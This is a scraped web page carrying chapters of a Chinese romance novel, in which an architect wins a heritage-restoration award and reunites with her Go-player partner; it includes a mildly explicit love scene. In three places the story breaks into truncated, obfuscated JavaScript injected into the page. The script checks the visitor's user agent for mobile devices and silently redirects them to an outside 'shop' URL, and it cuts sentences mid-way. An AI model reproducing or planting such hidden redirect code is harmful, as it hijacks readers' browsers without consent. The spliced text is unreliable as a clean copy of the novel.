两人进堂屋的时候,晁雨轻轻挣了下,辜屿握着的手没放。 晁雨想了想,也就和他牵着手进去了。 葛洁坐在官帽椅上喝一盏菊花茶。晁雨每次看她妈喝菊花茶就骇得慌,总觉得她妈气得不轻,喝这茶是为了下火。 葛洁瞥一眼两人握在一起的手,说一声:“坐。” 晁雨这才颤巍巍和辜屿分坐两端。 清朝传下来的木制老宅,屋梁挑得高,说话总似有回声,加上几张官帽椅一摆,总有种“三堂会审”的架势。 葛洁先是说了句:“人生比你们所想的,要长得多。” 她问辜屿:“你有把握和小雨永远在一起么?” 辜屿:“有。” 葛洁始终没看他俩,这时眉毛挑起来,第一次看向辜屿:“凭什么呢?凭你的名气、才华?还是凭你的家世、财富?” 她始终觉得,两人还是太年轻了。 过日子并非两人所想的那样,凭着虚无缥缈的感觉。她和晁正声走了一辈子,拉扯大一双儿女,太知道人这一生会遇到多少坎。 名声、财富,那些看起来无比光鲜的,有时不能帮人跨过这些坎,反而压得人肩头沉甸甸的。 她没想到辜屿会答:“凭我不放手。” 葛洁怔了怔。 低头看向自己的手。那是一双常年浸润着猪油和桂花糖浆的手,不用擦手霜,秋冬看起来也泛着光,连皱纹都比同龄人少些。 她看起来温柔,其实脾气倔,和晁正声并非没红过脸。 尤其有时候日子过得难,晁二柱重病,摊子上生意又不好,夫妻俩背着一双儿女,吵得更凶些,甚至那些清代传下来的瓷器,气急了也往墙上砸得粉碎。 吵吵闹闹,最终还是晁正声来握住她的手:“好了,吵什么呢?互相扶持着,也就走过去了。” 葛洁叹口气,回握住晁正声的手。 到了现在,她没想到辜屿会跟她说出这样一句话来。 吵不散也闹不散的过日子,其实诀窍说来也简单,全凭那句“不放手”。 她终于放开茶盏,挥了挥手:“算了,我不管你们了。小雨从小是个有主意的,现在大了,我管也管不动了。” “你们按自己的想法去走吧。” 两人走出堂屋前,葛洁叫住辜屿:“你留一留。” 辜屿等她说。 葛洁:“你是一个决绝的人,阿姨能看出来。但小雨是个普通人,她会犹豫、会胆小、会瞻前顾后,其实说起来,我倒觉得有朝一日,小雨跟你分手的可能性更大些。” “你真想清楚了吗?”葛洁问:“到时候你怎么办?” 辜屿说:“那也是永远在一起。” 只要我不放手。 哪怕只看着她的背影,也是永远在一起。 他从小到大的很多个夏天,已经做过很久这样的事了。 - 过完元旦一周,辜屿要回北京参加集训,准备接下来澳门站的比赛。 两人尘埃落定,反而都不再急切。晁雨俯在辜屿的书桌边,苦思劝宁塔方案的最后关窍,辜屿便靠着床头翻棋谱。 晁雨抱住自己的头:“啊要死,我真不知怎么弄了。” 她扭头跟辜屿说:“我不干了,我想放弃。” 辜屿点点头,翻过一页棋谱:“行。” “怎么这样啊!”晁雨把铅笔一丢:“你是不是看不起我的事业!” 辜屿:…… 他放下棋谱跟晁雨说:“因为我知道你不会真的放弃。” 从小到大,他一路看着晁雨这样走来。 哭过,发脾气过,嘟囔说放弃过,纠结犹豫过。放不开的那些事,她还是放不开。 晁雨趴到桌上:“真做不出来怎么办啊,到时候人家会不会说,你,大名人,围棋天才,找的女朋友是大龄熟女,窝在小城里一事无成。” “做得成。” “你怎么知道?” “做不出来你会一直做。”辜屿从床上下来,推开木窗棱,一阵令人醒神的凉风钻进来,遥遥能望见劝宁塔在黑暗中的模糊形状。 晁雨趴在桌上要死不活,辜屿摸一把她后脑:“因为你做的事情很了不起。” “哪里了不起?钱也赚不到一点。” “你守着很多人记忆里的家乡。” - 辜屿飞回北京一周后,晁雨完成了劝宁塔的第二版方案。 把方案传给学姐核算数据时,晁雨迟迟不敢按下发送键,最后眼一闭心一横,心想:去他妈的。 交的时候一脸英勇,交了又开始怂,背着手在办公室里兜圈,跟屁股着火的鸵鸟一样。 嘴里碎碎念着:“又错了怎么办啊?怎么办啊?” 九叔被她烦得不行:“又错了就再做第三版!第四版第五版第六版!反正我师弟他们那边也还没进展,这事就是难,只有你这样的傻子,会搭上自己的所有不停耗下去!” 他又赶晁雨:“去去,我放你两天假,你别在办公室待着了,吵得我。” 晁雨一旦闲下来,脑子里更是想七想八。 她无处可去,就跑去葛洁和晁正声的摊上帮忙。去收拾碗时,热情洋溢地问每一个客人:“不再来一碗?今年的桂花可香。” 葛洁忍不住拉她:“你再这样,人家不带健胃消食片都不敢来我们摊上了。” 学姐电话打来时,是一个深夜。 晁雨正帮爸妈收摊回家,上二楼穿过木连廊时,手机响了。 晁雨跟学姐说:“你等等啊。” 走到房间门口扶住墙,才道:“好了,说吧。” 她生怕又一听说“数据错了”,腿一软直接跪下去。 但学姐在那端叫她的名字:“晁雨。” “这一次,真要恭喜你了。” 晁雨脑筋迟滞着,脑子里转了一圈,才明白过来学姐这句话是什么意思般,短促地尖叫一声。 “谢谢学姐!我去北京时请你吃饭!”挂了电话就往楼下跑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199615|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 葛洁和晁正声在厨房里准备第二天的食材,晁雨冲进来喊:“爸!我们家车钥匙呢?” 又在葛洁脸上吧唧亲了一口。 葛洁一擦自己的脸:“你这孩子一向挺稳重的,突然发什么疯?” 晁雨拿到车钥匙便往外冲,只来得及喊:“是劝宁塔。” 她一路开车跌跌撞撞去了九叔家,开近门口才猛踩一脚刹车。 老头儿披着件破棉服,一走出门被车灯晃得眯起眼:“谁啊!想把我房子撞塌啊!” 晁雨降下车窗叫他:“上车。” “上车干嘛?你这技术我可不敢坐。” 晁雨也不多解释,一双弯起的眸子在夜里闪着熠熠的光,只是催促他:“快上车。” 九叔拉开车门,傲娇地上了车,便开始四处找安全带往自己身上捆:“你悠着点——诶!” 话音未落,晁雨便把五菱宏光小破车当神州十八号那么开,猛冲了出去。 九叔紧紧攥着安全带,在心里默念“阿弥陀佛”。 晁雨开往的是霓山方向。 严格来说,霓山不是一座山,而是一片山。其中一个山头正要被开发成游览区,晁雨把车停进尚未建成的停车场,叫九叔:“下车。” 和九叔并肩站在山巅,冷风一吹,鼻涕都快往下落。 可平时不起眼的洵州老城,在山脚下铺展开来,灯光依溪漫延,变成一道窄而蜿蜒的银河。 九叔至此已猜到发生了何事,哼一声:“不就是方案成了吗?至于大半夜跑到山顶来吹冷风么。” “九叔。” “干嘛?” “我特别开心。”晁雨说:“真的,我特别特别开心,我都没想到自己会这么开心,开心到我不知怎么把这股情绪从胸腔里发泄出来。” 九叔指指山下:“那你冲着山下喊。” “喊什么?” “我哪知道喊什么。”九叔耸肩:“随便。” 晁雨磨蹭了片刻:“……我喊不出来。我是i人你知道吧?” 九叔大惊:“你跟我吵架吵那么凶还是i人?” 晁雨:“我窝里横。” “你还知道。”九叔又哼一声:“喊不出就走了,这冷风吹的,我耳朵都快冻掉了。” 这时晁雨在他的身后喊:“师父。” 九叔肩一滞,身形顿了顿。 他没回头,背对着晁雨说:“你别乱喊啊,我可不是。” “不管你承不承认吧。”晁雨对着他背影:“我认定你了。” 九叔吸了吸鼻子。 妈的这山风真厉害,吹得他眼眶都开始发胀。他记得他曾经最为看好的徒弟,离开前冷声对他说:“你这样的脾气,一定会孤独终老。” 可老天好像就是这样。 带走一个,又送来一个。 他揉揉眼眶,直到不再酸胀了,对着晁雨骂:“风把脑子吹糊涂了吧说什么胡话!快点走了。” 晁雨把车停好后,走进自家天井,发现那棵百年桂树的花台边,静坐着一个人。 这季节没有桂花芽,只有月光落了他满身。 晁雨走过去:“不是说还得过两天才回来?” 辜屿:“九叔给我发消息了,说算着时间,核算结果这两天能出来。” 他仰面问晁雨:“结果如何?” 成功或失败,其实他不太计较。 若是成功,他来见证。 若是失败,他来陪伴。 总归这条路,晁雨会一直走下去。 晁雨静静看他半晌,一张恬静的脸上看不出什么端倪。 直到晁雨弯折一条手臂,绕过他后颈,把他的头揽进自己怀里。 辜屿微一怔。 便听晁雨温柔的声音响起:“辜屿,欢迎回家。从此以后,你都有可回来的家。” 头顶星空璀璨,熠熠恒久,如细语,如轻喃。 她守住了劝宁塔。守住了永远不变的家乡。 79. 后来08 这天晁雨在办公室里,九叔依旧在她对面啜着浓茶玩扫雷。 一阵响亮的鸡叫声响起——“咯咯哒咯咯哒咯咯咯咯哒”! 晁雨有些头疼地拿起手机。不用怀疑,九叔给她的老人机,响铃就这动静,并且不能更换。 她接起电话开口便是:“不办卡不贷款不买保险。” “请问是晁雨小姐吗?这里是‘营造奖’主委会。” 晁雨愣了愣,先是瞥向对面的九叔,嘴里应道:“我是。” 挂了电话问九叔:“你为劝宁塔报名‘营造奖’啦?” “营造奖”顾名思义,取意自营造学社。在中式建筑方面,和“人文建筑论坛”并称为两座最有分量的奖项。 九叔一张嘴,还是没好话:“我可没指望能得奖,这是报给领导看的。” 晁雨笑盈盈地双手交叠起来托住下巴:“可我觉得有希望。” 九叔翻她一个白眼:“臭屁。” 晁雨咧开嘴。 也不知为什么,从前在亚轩申报个“金铅笔奖”,她虽然怀抱着期望,其实心里是虚的。 但现在申报更有分量的“营造奖”,她的心却很定。 她想,这大概是因为心里的天平守恒了,她付出了那么多夜晚、汗水和眼泪,最终她认可了劝宁塔,劝宁塔也接纳了她。 这份方案于晁雨而言,是一个与自己和解、与故乡和解的过程。 辜屿回洵州待不了几天,便要赶赴韩国参加年内的最后一场国际赛事。再接着,他就可以回洵州过年了。 到了十五号,老城区开了新年的第一场集市,附近老乡拖着晒干的冬笋丝和自家种的蜜橘来卖,刚捞上来的甲鱼扑腾着四条腿。 还有小半条街,开始挂上腊肠、酱鸭、鱼干。 毛秀珍交代:“给我买点花生米回来,我炒来下酒。” 晁雨拉着辜屿去逛。辜屿左手依然缠着纱布,蒙了黑色口罩,不停有男男女女往他冷冽的眉眼上瞟,也不知单纯看他长得帅,还是依稀觉得这眉眼像国宝级的棋手。 集市总归有些游客,不像老城区平时都只住着熟悉的老人。晁雨越逛心里越没谱,买完毛秀珍要的花生米,又买了包鱼食,拉着辜屿溜了。 他们去雩溪边喂鱼。 晁雨穿着雪地靴,溪边仍湿寒得让她想跺脚,除了谈恋爱的神经病没人来。 晁雨撒一把鱼食,也没见着鱼游过来。 她扭头问辜屿:“鱼冬眠吗?” 辜屿:…… 她把鱼食递给辜屿:“要不你试试。” 辜屿上前,瘦长的指尖捻一小撮,往溪里投去。 晁雨微微睁眼:“神了嘿。” 人人忌惮于辜屿的冷沉,反而小动物都喜欢他。 比如小卖部那只总也养不胖的猫。比如此时游拢过来的鱼。 晁雨在溪边小步蹦跶着问辜屿:“你真不冷啊?你这张脸不会是冻白的吧?” 辜屿瞥她一眼。 没碰过鱼食的那只手,把她脖子上厚厚的毛线围巾拨开点,那围巾是葛洁亲手织的。 晁雨微泛一点粉红的耳垂露出来,说不上是暖的还是冻的。 辜屿低头,薄唇轻碰了碰,齿尖轻轻一咬。 晁雨瞬间就不讲话了。 直到辜屿离开,垂眸又一瞥那耳垂,红得更透亮些,像枝头新结的醋栗。 辜屿了解晁雨一切敏感的位置,她纤纤的腰、细细的脚踝、和她格外柔腻的耳垂。 这一夜,晁雨跟辜屿疯了许久后,悄悄留宿在辜屿房间。 次日周一,她明明为早起上班设了闹钟,也不知是睡太沉没听见,还是这老人机的闹钟失灵。 总之她一睁眼的时候,距离上班已经只剩二十分钟了。 她猛地从床上跳起来,手忙脚乱地开始往身上套毛衫。 辜屿在床上睁开眼来,大概觉得窗帘缝隙透进的光刺眼,从被子里伸出只手臂,打横半搭在眼前,一边看着晁雨穿衣服。 “弟弟。”晁雨一边穿一边教育他:“你堕落了,你现在怎么还学会睡懒觉了呢?不起来练棋啊?” 辜屿自己也觉得奇怪。 从前他很少觉得困,也不怎么觉得饿。 吃饭睡觉,于他而言,只像是维持机能的必要选项。 他对自己现在能一觉睡到将近八点,也觉得稀奇。 开口回答晁雨:“不着急。” “怎么不着急?”晁雨套好羽绒服,双手伸到颈后,把长发从领口撩出来:“后生可畏,你不怕别人超过你啊?” 辜屿还真不怕。 他把所有的时间精力都献给了围棋,他心里有谱。 他只发出低哂的音节,换来晁雨轻哼一声:“狂得很。” 可“少年意气”是这一刻最佳的注解,哪怕他略懒散地靠在床头、窗帘只透过一隙的阳光洒落在他脸上。 晁雨被社会规则规驯得太久,见过也体会过太多忍气吞声。 实在喜欢这弟弟冷淡又狂妄的样子。 她背了包匆匆出门,刚好撞见从厨房出来的毛秀珍:“哟小妖精,你昨晚又在这睡得啊。吃了早饭再走不?” 晁雨边跑边回:“来不及啦。” 毛秀珍端着盆鸡蛋在她身后喊:“我好不容易养大的宝贝外孙,你记得悠着点使。” 这下晁雨气急败坏地站住脚步:“毛秀珍!你别什么都喊得这么大声!” 毛秀珍摆摆手指:“别叫我大名,叫我珍珍。” 又三天后,辜屿已离开洵州,晁雨迎来劝宁塔修缮方案入选“营造奖”初选的消息。 很奇怪的,到这一刻她反而很淡定了。 许辰懿兴奋地给她打电话:“快来快来,这大冷天的,咱一起去吃羊蝎子!” 出了许强那件事后,她始终不让晁雨去北京。 晁雨了解她,她一点不肯自己显得软弱。 晁雨启程前,又在办公室试讲了遍讲稿。 九叔绕到晁雨背后,躬身下来一手握着鼠标,对着电脑上的PPT,将扉页“设计师:”后、[祝境鹤]的名字删除。 设计师一栏只剩晁雨一个人的名字。 晁雨急了:“你干嘛?” 九叔踱回自己的办公桌边,重新点开一局扫雷:“我早说了,我不碰设计了。祝境鹤这个名字消失很久了,你现在突然写上去干嘛?引记者来扰我清静啊?” “因为这方案不是我一个人做的。”晁雨:“不能不写你的名字。” “要写也不是写在你这方案上。” “那写在哪?” 九叔只耸了下肩。 老头儿拗得很,晁雨争也争不过,只好暂且带着方案启程。 许辰懿欢畅淋漓地迎来了一顿羊蝎子,啊不,迎来了晁雨。 辜屿远在韩国,晁雨直接回许辰懿家住。 许辰懿啃着块最肥美的脊骨,一边问晁雨:“就是挨个去评审组面前演示作品,最后整个大晚会,直接宣布获奖结果,对吧?” 晁雨点头,辣得吸吸嗦嗦的。 “刺激,忒刺激。”许辰懿嘬一下自己的手套:“姐们儿到时候带一大束花去给你捧场!” 晁雨吓死了:“你可别。” “你身为我亲姐们儿,怎么能对自己这么没信心呢!”许辰懿教育她。 “倒也不是没信心。” 信心是有,但晁雨扫了眼入围名单,想到要跟建筑界如雷贯耳的名字同场竞技,觉得心态还是放平和些好。 晁雨演示那天很紧张,候场时发现自己手在抖,跑去外面的超市买了罐红牛。 评审组四个里面有三个戴着金丝边眼镜,反射着顶灯冷白的光,表情集体看不出喜恶。 所以直到颁奖礼那天,晁雨对劝宁塔到底有戏没戏,心里一点底都没有。 许辰懿看起来比晁雨兴奋,操着高八度的嗓音:“礼服必须得我替你选!” 晁雨警惕地抱着沙发垫:“太暴露的和太浮夸的我都不穿啊。” 许辰懿翻她个白眼:“姐们儿品味有那么糟么?” 唰地打开衣柜门,哗地拉开防尘袋。 晁雨生怕有什么花里胡哨的礼服闪瞎自己的眼,定睛一看—— 是件旗袍。 白色的底,不是纯白,而是宣纸在岁月中泛出点梧色的那种。一点水墨泼墨,不规则,在左襟往腰线处蔓延。 人穿上这样的旗袍走起来,腰要够细,身段要够柔,像一幅行走的工笔画。 许辰懿:“穿旗袍可有说头,叫‘旗开得胜’。” 晁雨问:“你特意给我买的啊?” “那倒不是,我有一甲方奶奶喜欢倒腾古玩字画,我就给自己置了身旗袍。”许辰懿道:“就是我这气质吧,着实不适合。” 这旗袍却意外地适合晁雨,水乡滋养出的姑娘。 许辰懿的眼睛都亮了亮:“本来想带你去造型工作室,但一想,哪个化妆师有我这么了解你五官优势啊,还是我亲自来吧。” 一边化妆一边跟晁雨闲聊:“辜屿弟弟在韩国真来不及回来啊?” “嗯。” “失望么?失落么?失魂落魄么?” 晁雨掀起眼皮瞟她,她又把晁雨的眼皮摁上:“别睁眼,画眼影呢。” 晁雨闭上眼:“我怎么觉得你看热闹不嫌事大。” 许辰懿笑得夸张。 晁雨继续阖着眼:“还真没有。” “为什么?” “因为这是我自己的事。” 其实晁雨心里还有句更中二的话:这是属于我自己的战斗。 就像棋盘上的杀伐果决,是属于辜屿自己的战斗一样。 晁雨心里想着的话很漂亮,真登上许辰懿的玛莎拉蒂时,她又觉得小腿肚有点打颤。 许辰懿一边发动车子一边问:“亚轩也有项目入围,老贱人做项目代表,你知道吧?” “知道。” “那就好。我怕你没留意,待会儿陡然撞见老贱人,跟喉咙里突然噎颗茶叶蛋似的。” 晁雨有心理准备,在这样的场合会碰见明恒宇。 亚轩作为国内建筑行业的龙头,基本上没缺席过每年的“营造奖”和“人文建筑论坛”。 并且晁雨还查过,这一次明恒宇并非又“占用”手下设计师作品,而是实打实,明恒宇亲自做的方案。 他在亚轩混到现在这地位,不可能全是浪得虚名。 晁雨心底暗藏着某种兴奋—— 她从前只是明恒宇的助理、明恒宇身边的小角色。第一次,她迎来了与明恒宇的正面较量。 下车的时候,许辰懿一叠声:“你等等等等,我来接你下车。” 晁雨:…… 女明星范儿这就拉满了? 晁雨:“我能告诉你一件事么?” “说。” “我在旗袍里面贴了暖宝宝。” 许辰懿差点没炸咯:“你到底是有多怕冷!美不重要吗!啊!” 往会场里走的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209222|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,许辰懿用胳膊肘捅捅晁雨。 晁雨往前看去,看到西装革履的明恒宇的背影。 很巧的,明恒宇这时回了一下头。 视线与晁雨相撞,笑容儒雅地点了点头。 颁奖礼正式开始前,设计师们聚拢在后台,签署一份承诺书。 明恒宇也不知有心还是无意,站在晁雨身旁。晁雨眼尾扫过去,看他拿笔抄写承诺书上的字样: [我承诺此次参赛作品,无抄袭、无过度借鉴……] 晁雨心头突地一跳,脑子里一根弦忽然打通了关窍—— 九叔曾把自己弟子的手稿借给晁雨,作为劝宁塔方案的参考。 晁雨看着那些泛黄的纸页,总觉得字迹分外眼熟。 她想起来了——那是明恒宇的一笔字。因现在大家多用电脑,她看明恒宇亲笔书写的时候也并没那么多,是以没第一时间联想起来。 明恒宇签完名后直起身来,看晁雨微抿着唇。 “怎么,终于发现了?”明恒宇低笑:“我就是当年祝境鹤的学生。” “他已经江郎才尽了,你赢不了我的。” 丢下钢笔,扬长而去。 - 相较于海量的参选作品,“营造奖”的奖项设置几乎显得吝啬。 两个三等奖,一个二等奖,一个一等奖。 并且如果评审组觉得没有符合该年度的建筑作品出现,宁愿让奖项空缺。 直到三等奖和二等奖的作品颁完,晁雨的作品没出现。 明恒宇的作品也没出现。 许辰懿牢牢抓着晁雨的手,晁雨又看了眼明恒宇的背影。 这时,明恒宇又一次回了头,两人眼神相撞,晁雨默默看向舞台。 晁雨发现了,她不清高,也不绝俗。 她想赢。 前所未有的想赢。 想打一场漂亮的翻身仗,想给曾经坑她的人一记响亮的耳光,想替九叔正名。 她也想功成名就,想荣光加身,想有朝一日像陈凌娟一样站在行业之巅,告诉全世界女设计师一样可以做到。 颁奖的白胡子老头颤巍巍上了台,一只信封被送到他手里。 他颤悠悠打开信封,看上去像黏在一处的双目扫了眼,对着话筒清清嗓子: “获得本届‘营造奖’一等奖的是——” “亚轩选送的海边剧场项目,设计师:明……” 晁雨心里有什么东西轰然倒地。 很奇怪地,这一瞬她想的倒不是什么功成名就、金玉满堂。 她想起毛秀珍躺在病房里,望向窗外劝宁塔的那一眼。只那一眼,毛秀珍的心就定了,她知道故乡在托着她。 然而此时,后台骚乱一片。 一个戴耳返的工作人员冲上台,同老者耳语几句,重新递上一只信封。 老者对着话筒:“不好意思,由于工作人员失误,信封出错了。” 观众席哗然一片。 这事在美国最顶级的电影节上发生过,想不到今天在建筑界重演。 老者重新打开信封:“获奖的是,洵州市古建筑保护管理局选送的,全木制结构劝宁古塔修缮项目,设计师:晁雨。” 呆住的是许辰懿。 又变回出奇镇定的是晁雨。 血液一瞬堵在胸口,可那些熬过的夜、痛哭过的眼泪,变成推土的溪流,一点点在心口使力,直到堵塞的堤坝冲刷开来,血液重新流向四肢百骸。 晁雨很清晰地知道自己站起来。 走向舞台。 直到这一瞬间她忽然想:如果辜屿在这里就好了。 不是见证她的荣光时刻,而是见证劝宁塔、见证洵州的荣光时刻。 那是他们共同的家乡。 是他们的、许辰懿的、毛秀珍的、葛洁晁正声的、所有人共同的家乡。 说不上为什么许辰懿突然哭了。 她只去过洵州一个夏天,可她记得那里的青石板路、记得悠闲晒太阳的老人、记得葛洁给她一管手霜、说女孩子的手看起来不能像干活的手。 晁雨站在台上,头脑清晰得过分,以至于她能清楚看到观众席上的一张张面孔。 有人打了个喷嚏,有人在同身边人耳语说她:“这么年轻?” 还有凝在明恒宇唇角来不及褪下、志在必得的笑。 晁雨挪了下面前的话筒,她没有经验,话筒发出“呲——”的一声,她又赶忙把话筒放定。 便是在这时。 会场最后那扇包了软皮的木门,被工作人员推开来,放进什么人之后,工作人员的白手套一闪,那扇门又缓缓闭阖。 晁雨站在聚光灯下,往那边望去。 辜屿站在那里,胸口微微起伏,大衣的领口敞开来,露出黑色衬衫的领角。 他是跑过来的。 他曾经是一个趋近放弃的人。他不再奔跑,也封闭了自己的情感。他告诉自己:别那么努力,别露出狼狈,留不住的,还是留不住。 可是现在,因堵车得过分,他是一路跑过来的。 跑过浮白的冬日,街头的枯枝,皇城朱墙映落飘零的雪。他敞开黑色大衣,清晰感到自己出了一脊背的汗,像从一个寒冬跑向一个春天。 终于他站在这里。 看晁雨站在聚光灯下,一张脸仍是柔雅模样,笑容浅浅却清晰地漾开来,一如洵州的那条清溪。 她说:“希望我现在手里有一杯酒——” “敬我们所有人记忆中的故乡。” 80. 后来09 颁奖结束后,许辰懿摸了摸晁雨的奖杯:“这是不是金的?” “不可能吧?”晁雨怀疑:“这么大个儿呢。” “镀金的也成。”许辰懿又摸了摸,一脸虔诚地鞠了三个躬:“我这也算沾沾喜气,保佑我来年升职加薪。” 晁雨不知怎地问了句:“那恋爱呢?” 许辰懿一咧嘴:“我不想那事。我只想搞钱。” 许辰懿拜完了金杯,用胳膊肘一搡晁雨,贼笑着压低声:“弟弟等你回本呢。” 晁雨又给她搡回去。 终是抱着奖杯跟辜屿一同回了家。 进门时辜屿问:“你们刚刚笑什么?” 晁雨一边换下高跟鞋,一边揉了揉被磨红的后脚跟:“她说我来回本。” 她把奖杯放到玄关的案几上:“怎么可能?我今天穿得这么……出尘绝俗,对吧?” 辜屿站过来,一手搂住她纤腰:“嗯。” 他的眼神很克制,落在旗袍腰际的泼墨,随着他手掌贴上去,那里如一汪池水叠出浅浅的褶。 他的表情还是很淡,可耳后泛起痕痒。他很清楚,那里已如过敏般泛起红痕。 辜屿承认自己所有并不光明的贪恋,抱起晁雨放到客厅的沙发上。 晁雨攘他的肩:“没洗澡,没换衣服。” 辜屿:“不换。” 吻向她纤白的颈间,旗袍的立领微微刮擦着他的唇。 吻一路向下。 她太适合穿旗袍,像水乡雨巷里走出来的姑娘。踏着青石板路,望一眼石缝间长出的青苔,干净到几近圣洁的地步。 他又哪是什么佛子呢。他的欲念蓬勃,想破坏,想侵坏,想占有。 晁雨像被水乡的梅雨浸透一般,每一寸皮肤都泛了水汽,那潋滟的水光同样泛在她眼底。她的腰很软,身段也很柔,辜屿爱极了这一点。而他的喜爱体现在更强的进攻欲,往更深处进攻,让水汽堆叠。 直到那样的梅雨也湮没了他自己,让他也浑身湿透的时候,他低喃一句:“我那时真是疯了。” 他怎么会以为可以对晁雨放手呢。 他被困进南方的一片雨里,那雨是柔的、包容的、雾蒙蒙的,他注定在这场雨里困守终身。 晁雨着实累极了,倒头就睡。而辜屿一个显著变化是,在日程允许的时候,他会开始和晁雨一同睡懒觉。 并且有任何光线他都觉得刺眼,抬起一只手臂半挡在眼前。 然后发现那光线来自一盏落地灯,晁雨穿着他的T恤和自己的睡裤,盘腿坐在地毯上,旁边放着昨夜制造“事端”的旗袍。 晁雨是在给许辰懿发微信:[昨天你借我那件旗袍,多少钱?] 许辰懿正在去亚轩上班的路上,停了车往电梯走时,收到晁雨微信。 Cici:[嘿,电梯里遇见老贱人了。] Cici:[那张脸黑的啊!] Cici:[估计看见我就想起你了。] Cici:[仰天大笑.jpg] 然后又才回复晁雨:[那旗袍啊,16800。我为了迎合甲方奶奶喜好,可真是下了血本了!] 尽管那串数字后只跟着两个零,晁雨还是仔仔细细数了三遍。 多、多少…… 辜屿从床上下来,揉一把头发,走到她身边:“我赔。” “为什么?”晁雨反对:“用不着你。” 辜屿勾腰把旗袍从她腿边捡起来:“因为,我毁的。” - 晁雨返回洵州的时间比辜屿要早,辜屿送她去车站。 在高铁上,晁雨给九叔打电话。这两天,九叔始终处于失联状态。 晁雨捏着手机看窗外景色掠过,不知为何,心里浮出一种惴惴之感。 九叔多大年纪了?这在洵州好像是一个谜。就像已没人记得他是哪年来的洵州,好像他在洵州住了一辈子。 经过毛秀珍重病的事件后,晁雨对老年人的失联总是惶恐。 下高铁时她仍执着地给九叔打电话,不知怎地屏幕忽地一闪,整个暗下去,手机不再有任何反应了。 晁雨右眼皮突地一跳,拖着行李箱就往办公室赶。 她也不知自己为什么跑得那么喘,一把推开油漆斑驳的木门,冬日阳光里总有细小的尘埃乱舞。 九叔坐在电脑前玩扫雷,一手握着鼠标,另只手一抚自己的光头:“只差一步啊!” 瞥向晁雨问:“你跑那么急干嘛?” 晁雨扯过九叔那放了半杯茶叶的茶缸,往自己杯子里倒了些,仰头一口干了。 嘴皮仍是发干:“你为什么一直不接电话?” 九叔瞟她一眼:“瞧你那点出息。不就拿个营造奖吗,看把你给兴奋的。” “我不像你呀,拿过那么多大奖。”说到这里,晁雨翘着鼻子笑笑,把奖杯和证书从行李箱里掏出来:“好看吗?你要是认了我这个徒弟,以后我能拿更多。” 九叔眉一挑:“你别套路我啊,我说过再不碰设计了。” 他继续玩扫雷,晁雨在自己的办公桌边坐下来,可算喘匀了一口气。 “对了。”她想起来:“你上次给我的那个老人机,坏了。” “不可能吧?”九叔:“我以前拿它砸核桃都没坏过。” 晁雨把手机掏出来:“不信你看。” 说也奇怪,刚刚熄灭全黑的屏幕,此时恢复正常。 世界上最令人欣慰的词,大概就是“虚惊一场”。晁雨忙完工作,左看右看,在书架上挑了个位置,拧了抹布仔仔细细擦干净。 九叔问:“你干嘛?” “把奖杯放上去。” “臭显摆什么?带回你自己家摆去。” “带回家你不就看不见了吗?”晁雨摆好后,自己看了半天,又问九叔:“摆正了么?” “凑合。” 晁雨这才继续道:“这是咱俩的,你也得看见才行。” 下班时,九叔催晁雨快走,晁雨锁门时,又回头看一眼奖杯。 “得啦有什么可稀罕的。”九叔搡开她,自己来锁门。 却又从门缝里瞄一眼奖杯,唇边挑起一抹笑。 - 晁雨回到家,葛洁问她:“涨薪水没有啦?” “没。” “那升职没有啦?” “……妈,我们办公室总共就两个人,我往哪升去?” “那,劝宁塔到底什么时候修?” “这得看情况。修缮古塔不是一笔小钱,相关部分也许要拉赞助、才能保证资金到位的。” “那你这次得这个什么奖,到底有什么用啦?” “给我得意一下呀。”晁雨笑:“也给你得意一下。” 她颁奖礼那天晚上,把拍的照片发给葛洁,这会儿回家来一看,葛洁已冲洗出来裱好了框,挂在堂屋里了。 照片上她身着旗袍,南方人不出挑却端秀的五官,一手捧着奖杯、一手握着证书。 那奖杯很沉,单手捧的时候差点没拿稳掉在地上,许辰懿抓拍的时候两人一阵惊呼,随后又笑得开怀。 葛洁仔仔细细端详着照片:“那件旗袍倒蛮衬你的,新买的哦?带回来没有?” “……”晁雨支支吾吾,把这话题含混了过去。 近年关了,意外出在某天下班的时候。 晁雨下了公交车往家走,望着街尾一愣。 她跑回家去,葛洁正做晚饭,她问:“小卖部怎么关了?” 常年开着的小卖部连春节也不关门,总有一人一猫坐在那里。今天却落下门闩来,那常年没用过的木门,连暗朱红的漆看着都比旁边木头新些,新到有些刺目。 “哦。”葛洁正把一条鱼放进锅里,滋地一声,腾起一阵油烟:“你去上班了不知道。今天唐爷爷的女儿过来,把他接到上海去,不会再回来啦。” “他是不肯走的呀,可是人老了么,料理不好自己。他女儿实在放心不下,就把他接走了。” 晁雨愣愣的:“那小卖部以后不开了?” “谁来开?连锁超市都开那么多家了,赚不到钱的呀。”葛洁说起来也是颇为唏嘘:“多少年习惯在那里买酱油醋了,这下子,哎哟,心里还真空落落的。” “那猫呢?”晁雨又问。 “跑了。” “什么?” “唐爷爷女儿来接的时候,那猫大概受了惊,一下就跑了,找了半天也没找着。他们急着回上海,只好算啦。” 晁雨没再说什么。 只是吃过晚饭,夜深了,她一个人踱出老宅。 空荡荡的石板路,一个人踩起来总觉得更脆响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 